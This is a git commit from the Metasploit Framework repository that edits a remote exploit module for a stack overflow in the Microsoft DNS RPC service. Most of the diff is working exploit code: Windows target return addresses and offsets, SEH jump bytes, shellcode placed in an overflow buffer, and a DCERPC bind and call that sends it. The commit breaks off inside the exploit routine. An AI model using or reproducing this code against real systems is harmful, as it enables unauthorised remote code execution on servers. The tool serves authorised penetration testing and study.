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metasploit-framework
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Cleanup, getting ready for stable 

git-svn-id: file:///home/svn/framework3/trunk@4684 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2007-04-16 01:40:59 +00:00
parent 17082dda1a
commit 2612ad5f2f
1 changed files with 16 additions and 6 deletions
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22
modules/exploits/windows/dcerpc/msdns_zonename.rb
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@ -24,9 +24,11 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
'Name' => 'Microsoft DNS RPC Service extractQuotedChar() Overflow',
'Description' => %q{
This module exploits a stack overflow in the RPC interface
of the Microsoft DNS service. The vulnerability is triggered
when a long zone name parameter is supplied that contains
backslash characters.
of the Microsoft DNS service. The vulnerability is triggered when
a long zone name is supplied that contains escaped characters. This
exploit will NOT work on Windows 2003 SP1 or SP2 if hardware DEP is
enabled.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
@ -68,10 +70,10 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
# WS2HELP.DLL
[ 'Windows 2000 Server SP0-SP4+ English', { 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
# Unknown, probably bad :(
# Unknown, probably unreliable
[ 'Windows 2003 Server SP0 English', { 'Off' => 1593, 'Ret' => 0x7ffc0960 } ],
# ATL.DLL (no SafeSEH)
# ATL.DLL (no SafeSEH) (still blocked by hardware DEP)
[ 'Windows 2003 Server SP1-SP2 English', { 'Off' => 1633, 'Ret' => 0x76a81a60 } ],
],
@ -86,6 +88,8 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
def exploit
# Ask the endpoint mapper to locate the port for us
dport = datastore['RPORT'].to_i
if (dport == 0)
@ -99,17 +103,21 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")
end
# Connect to the high RPC port
connect(true, { 'RPORT' => dport })
print_status("Trying target #{target.name}...")
# Bind to the service
handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
# Create our buffer with our shellcode first
txt = Rex::Text.rand_text_alphanumeric(8192)
txt[0, payload.encoded.length] = payload.encoded
# Handle multi-return targets
if (target['Addresses'])
target['Addresses'].each do |ent|
off, ret = ent
@ -117,6 +125,7 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
txt[ off - 4, 2] = "\xeb\x06"
txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')
end
# Handle single-return targets
else
off = target['Off']
txt[ off ] = [target.ret].pack('V')
@ -132,6 +141,7 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
req << c.to_s(8)
end
# Build the RPC stub data
stubdata =
NDR.long(rand(0xffffffff)) +
NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +
@ -142,7 +152,7 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
NDR.long(rand(0xffffffff)) +
NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")
print_status('Sending exploit ...')
print_status('Sending exploit...')
begin
response = dcerpc.call(1, stubdata)